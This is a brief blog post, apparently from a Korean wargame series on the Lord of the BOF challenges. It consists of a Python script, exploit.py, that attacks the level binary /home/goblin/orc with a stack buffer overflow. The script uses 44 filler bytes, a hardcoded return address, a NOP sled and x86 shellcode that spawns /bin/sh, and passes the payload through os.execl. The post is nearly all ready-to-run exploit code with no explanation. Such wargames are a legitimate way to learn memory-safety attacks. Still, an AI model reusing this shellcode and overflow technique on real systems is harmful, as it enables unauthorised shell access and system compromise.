exploit.py
import os
from struct import *
p = lambda x : pack("<L" , x)
path = '/home/goblin/orc'
shellAddress = p(0xbffffc30)
payload = "A"*44 + shellAddress
payload1 = "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
os.execl(path,path,payload,payload1)
'Wargame > Lord Of the Bof(redhat)' 카테고리의 다른 글
[Remind] LOB darkelf -> orge (0) | 2019.04.15 |
---|---|
[Remind] LOB wolfman -> darkelf (0) | 2019.04.12 |
[Remind] LOB cobolt -> goblin (0) | 2019.04.10 |
[Remind] LOB gremlin -> cobolt (0) | 2019.04.10 |
[Remind] LOB gate -> gremlin (0) | 2019.04.10 |